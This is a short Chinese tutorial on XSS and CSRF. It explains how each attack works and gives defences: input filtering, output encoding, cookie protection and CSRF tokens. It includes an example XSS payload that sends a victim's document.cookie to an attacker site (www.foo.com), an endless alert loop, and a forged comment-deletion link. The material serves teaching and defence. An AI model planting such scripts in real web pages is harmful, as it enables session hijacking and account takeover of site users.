XSS
跨站脚本XSS,全称为(Cross-site scripting),因为可能会与层叠样式表(Casading style sheet)英文简称相同而产生歧义,因此将“C”改为“X”。
攻击者在网页中嵌入JavaScript脚本,当用户在该网页上浏览时,脚本便会运行从而达到攻击者的目的。
例如一个评论区,我写了这样一条评论
<script>
while(true){
alert('You are fooled');
}
</script>
如果网页对输入跟输出都没有做任何的限制而是直接将这样的内容显示出来,结果就是浏览器将这条评论认为是页面的一部分从而执行script
标签中的代码。 结果就会是不断的弹出窗口。
这样算是好的,仅仅是个恶作剧,而一旦代码是来获取用户的Cookie
。那这样后果更加严重,相当于被攻击者的身份认证被窃取了。
<script>location.replace("http://www.foo.com/record.asp?secret="+document.cookie)</script>
如上,浏览器执行到这段代码后,就会自动访问攻击者建立的网站www.foo.com
,打开其中的recourd.asp
,将受害者浏览器的Cookie
信息给记录下来。
预防
输入过滤
既然是因为浏览器会直接将用户输入的内容识别成html代码,那么通过过滤掉’<’、’>’、‘script’等关键字就可以了。或者是将’<‘替换成’<’
输出编码
如果是输入之后不进行过滤,也可以在输出到页面之前对这些内容进行编码,例如HtmlEncoder
等工具。这样即便是用户输入的是一些html
代码也只会被当做文本看待。
Cookie防盗
如果说前两者都没有做,还有一件事可以做。那就是Cookie
的防盗,因为XSS对用户伤害最大的还是窃取用户的Cookie
,那么通过对Cookie
的加密可以尽量的减少风险。为了防止重放攻击,也可以将Cookie
与IP地址进行绑定。
CSRF
跨站请求伪造(Cross-site request forgery)。是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
例子
网站A :为恶意网站。
网站B :用户已登录的网站。
当用户访问A站时,A站私自访问B站的操作链接,模拟用户操作。
假设B站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723
A站直接访问该链接,就能删除用户在B站的评论。
预防
CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就可以对症下药。
- 验证码
- Token,也叫令牌。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。
区别
- XSS的主语是脚本,而CSRF的主语是请求。
- CSRF可以由XSS实现(由XSS实现的CSRF也称XSRF)。
- XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。